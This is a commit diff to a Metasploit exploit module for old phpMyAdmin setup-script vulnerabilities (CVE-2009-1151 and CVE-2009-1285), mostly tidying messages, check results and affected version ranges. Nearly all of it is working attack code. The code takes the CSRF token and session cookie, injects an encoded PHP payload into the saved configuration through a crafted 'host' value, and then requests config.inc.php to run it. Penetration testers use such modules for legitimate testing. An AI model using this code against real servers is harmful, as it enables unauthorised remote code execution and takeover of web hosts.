phpmyadmin_config: Misc feedback updates

Sorry its thrown all in a big commit and not splitting up.

Author: g0tmi1k

modules/exploits/unix/webapp/phpmyadmin_config.rb

@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
     super(
@@ -66,9 +67,9 @@ def initialize(info = {})
         'DefaultTarget' => 0,
         'DisclosureDate' => '2009-03-24',
         'Notes' => {
-          'Reliability' => UNKNOWN_RELIABILITY,
-          'Stability' => UNKNOWN_STABILITY,
-          'SideEffects' => UNKNOWN_SIDE_EFFECTS
+          'Reliability' => REPEATABLE_SESSION,
+          'Stability' => CRASH_SAFE,
+          'SideEffects' => CONFIG_CHANGES
         }
       )
     )
@@ -85,19 +86,19 @@ def initialize(info = {})
 
   def request_setup(uri)
     uri = normalize_uri(datastore['URI'], uri)
-    vprint_status("Trying: #{uri}")
+    vprint_status "Trying: #{uri}"
     response = send_request_raw({ 'uri' => uri })
     if response.nil?
-      vprint_error('Error with setup request (No response)')
+      vprint_error 'Error with setup request (No response)'
     elsif response.code != 200
-      vprint_error("Error with setup request (HTTP #{response.code}, should be 200)")
+      vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
     else
-      vprint_good("Found: #{uri}")
+      vprint_good "Found: #{uri}"
 
       title = response&.get_html_document&.at_xpath('//title')&.text
-      version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1])
-      if version
-        vprint_status("Found version: #{version}")
+      if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
+        version = Rex::Version.new(version_str)
+        vprint_status "Found version: #{version}"
 
         report_service(
           host: rhost,
@@ -126,10 +127,8 @@ def request_setup(uri)
   end
 
   def find_setup_path(mode: :exploit)
-    return @response_setup if @response_setup
-
     if datastore['SETUP_PATH'].nil?
-      vprint_status('Attempting to automatically detect phpMyAdmin setup directory path')
+      vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'
 
       response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
       if mode == :exploit
@@ -143,10 +142,8 @@ def find_setup_path(mode: :exploit)
       response, version = request_setup(datastore['SETUP_PATH'])
     end
 
-    print_error('Unable to find valid phpMyAdmin setup directory path') unless response&.code == 200
+    print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200
 
-    @response_setup = response
-    @version_setup = version
     return response, version
   end
 
@@ -155,29 +152,25 @@ def check
     return Exploit::CheckCode::Safe unless response&.code == 200
 
     if (response.body !~ /"token"\s*value="([^"]+)"/)
-      print_error("Couldn't find token and can't continue without it. Is URI set correctly?")
-      return Exploit::CheckCode::Safe
+      return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
     elsif (response.body =~ /Cannot load or save configuration/)
-      print_error("'config' folder permissions may not be setup correctly (writable!)")
-      return Exploit::CheckCode::Safe
+      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
     elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
-      print_error("'config' folder permissions may not be setup correctly (writable! - Error: 2)")
-      return Exploit::CheckCode::Safe
+      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
     end
 
     if version
       vulnerable =
-        version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.5')) ||
-        version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.2'))
+        version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
+        version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))
 
       if vulnerable
-        print_good("Target version is in range! (#{version})")
-        return Exploit::CheckCode::Appears
+        return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
       else
-        print_status("Target version is not in range (#{version})")
+        print_status "Target version is not in range (#{version})"
       end
     else
-      print_error('Could not determine version')
+      print_error 'Could not determine version'
     end
 
     return Exploit::CheckCode::Safe
@@ -215,14 +208,14 @@ def exploit
     uri = response.request[/^GET\s+(\S+)/, 1]
 
     # Find the CSRF token and session cookie
-    fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/)
+    fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
     token = ::Regexp.last_match(1)
     cookie = response.get_cookies
 
     case uri
     # CVE-2009-1151
     when %r{/scripts/setup\.php}
-      vprint_status('Constructing exploit (save request) for: <= 2.11.9.4/3.0.x')
+      vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'
 
       injected = "host']='';#{payload.encoded};//"
 
@@ -242,7 +235,7 @@ def exploit
       config = php_serialize(config_hash)
 
       # Now that we've got the cookie and token, send the evil
-      print_status("Sending exploit (save request): #{uri}")
+      print_status "Sending exploit (save request): #{uri}"
       response = send_request_cgi({
         'method' => 'POST',
         'uri' => uri,
@@ -258,7 +251,7 @@ def exploit
     # CVE-2009-1285 #1
     when %r{/setup/index\.php\?page=config\z}
       uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
-      print_status("Sending exploit >= 3.1.x (textconfig): #{uri}")
+      print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
       response = send_request_cgi({
         'method' => 'POST',
         'uri' => uri,
@@ -275,9 +268,9 @@ def exploit
     # CVE-2009-1285 #2
     when %r{/setup(?:/(?:config|index)\.php)?/?\z}
       phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
-      fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
+      fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
 
-      print_status("Sending exploit >= 3.1.x (new server): #{uri}")
+      print_status "Sending exploit >= 3.1.x (new server): #{uri}"
       response = send_request_cgi(
         {
           'method' => 'POST',
@@ -335,7 +328,7 @@ def exploit
       valid_request(response, 303)
 
       uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
-      print_status("Sending exploit >= 3.1.x (save config): #{uri}")
+      print_status "Sending exploit >= 3.1.x (save config): #{uri}"
       response = send_request_cgi(
         {
           'method' => 'POST',
@@ -350,22 +343,22 @@ def exploit
       )
       valid_request(response, 303)
     else
-      fail_with(Failure::Unknown, "...unsure of target: #{uri}")
+      fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
     end
 
     # Very short timeout because the request may never return if we're sending a socket payload
     timeout = 0.1
     uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
-    print_status("Requesting our payload: #{uri}")
+    print_status "Requesting our payload: #{uri}"
     response = send_request_raw({
       'global' => true, # Allow findsock payloads to work
       'uri' => uri
     }, timeout)
     # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
     if response.nil?
-      vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.')
+      vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
     elsif response.code != 200
-      vprint_error("Error with payload request (HTTP #{response.code}, should be 200)")
+      vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
     end
   end
 end